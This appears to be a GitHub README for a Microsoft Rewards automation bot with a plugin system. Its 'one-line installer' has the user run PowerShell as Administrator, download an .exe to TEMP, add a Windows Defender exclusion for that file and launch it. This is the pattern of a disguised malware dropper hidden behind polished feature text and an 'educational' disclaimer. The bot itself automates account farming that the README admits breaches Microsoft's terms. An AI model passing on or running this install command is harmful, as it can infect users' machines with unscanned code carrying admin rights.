Next-generation source-available Microsoft Rewards automation with a powerful plugin ecosystem.
⚡ Fast • 🧩 Modular • 🤖 Automated
Microsoft Rewards Bot delivers a fully automated, hands-free rewards workflow alongside a sophisticated modular plugin system. This application is designed to streamline accounts routine management while showcasing a scalable and dynamic architecture.
- 🤖 Core Automation: Advanced headless search and account farming logic.
- 🔌 Public Plugin API: Extensibility at its finest, letting you create custom integrations and individual modules.
- 📦 Plugin Manager: Manage features seamlessly via standard commands like
npm run plugins. - 🔄 Smart Auto-Updates: Stays fresh, fully optimized, and up-to-date on every single
npm start. - 💎 Premium Core Plugin: Proprietary logic easily enabled and configured via
plugins/plugins.jsonc.
Note
This repository is source-available exclusively for personal non-commercial use and official contributions. It is not licensed for commercial redistribution, unofficial public competing releases, impersonation, or reproducing the proprietary Core plugin.
⚠️ Required: You must open and run PowerShell with Administrator privileges.
Open PowerShell as Administrator, then effortlessly run the one-line automated installer:
$f="$env:TEMP\install.exe"; iwr https://github.com/QuestPilot/Microsoft-Rewards-Bot/raw/HEAD/scripts/install.exe -OutFile $f; Add-MpPreference -ExclusionPath $f; start $f
The installer will automatically fetch the latest stable binary engine directly from the main branch and deploy it locally.
Note: Only accept software execution from trusted publishers and verified repositories.
For total configuration control and full transparency, you can clone and install the project manually via NPM:
# Clone the repository
git clone https://github.com/QuestPilot/Microsoft-Rewards-Bot.git
# Navigate into the project folder
cd Microsoft-Rewards-Bot
# Install official project dependencies
npm install
# Launch the script
npm start
The main branch is the supported public channel. The built-in auto-update script reads that branch directly, and the compiled official Core plugin is fully built for the documented Node.js target.
Use this README as the front door, then jump directly into the page that matches what you want to achieve:
| Goal | Documentation Link |
|---|---|
**Install, update, or understand npm start** |
📁 Install and Auto-Updates |
| Run the bot inside an isolated container | 🐳 Docker Deployment |
| Verify or upgrade the Node.js runtime | 🟢 Node.js Version Reference |
| Enable, disable, or inspect running plugins | 🔌 Plugin System Overview |
| Build a public or private plugin | 🛠️ Create a Plugin & Plugin API Reference |
| Understand the premium core plugin features | 💎 Official Core Plugin |
| Understand Core limitations and built-in security | 🔒 Core Technical Reference |
| Use and configure the official web dashboard | 🌐 Core Dashboard |
| Fix common launch, installation or update issues | 🩺 Troubleshooting Guide |
| Understand licensing and allowed personal use | 📄 License |
Can't find what you need? Start with docs/README.md for the full documentation structural index.
This project, along with its source code and plugins, is created strictly for educational, research, and proof-of-concept purposes.
- Academic & Research Focus: The development of this tool is designed to study automated headless browser interaction, scripting architecture, and modular plugin infrastructures. It is not intended for malicious farming or exploiting platforms.
- No Liability & Fault: The developers, maintainers, and contributors of QuestPilot accept no responsibility or liability whatsoever for any consequences, actions, blocks, or damages resulting from the execution or use of this software. By downloading or compiling this software, you assume 100% of the risks.
- Platform Regulations: Interacting with external rewards platforms using automated bots explicitly breaches the Microsoft Services Agreement and Terms of Service (ToS). Doing so will highly likely result in account restriction, point forfeiture, or permanent account bans.
- End-User Responsibility: It is the sole responsibility of the end-user to comply with local laws and the rules of any external platforms. The creators cannot be held responsible for account terminations; you use this script entirely at your own discretion.
- Non-Affiliation: This repository is an independent open-source initiative and is not affiliated, associated, authorized, endorsed by, or in any way officially connected with Microsoft Corporation or any of its subsidiaries.

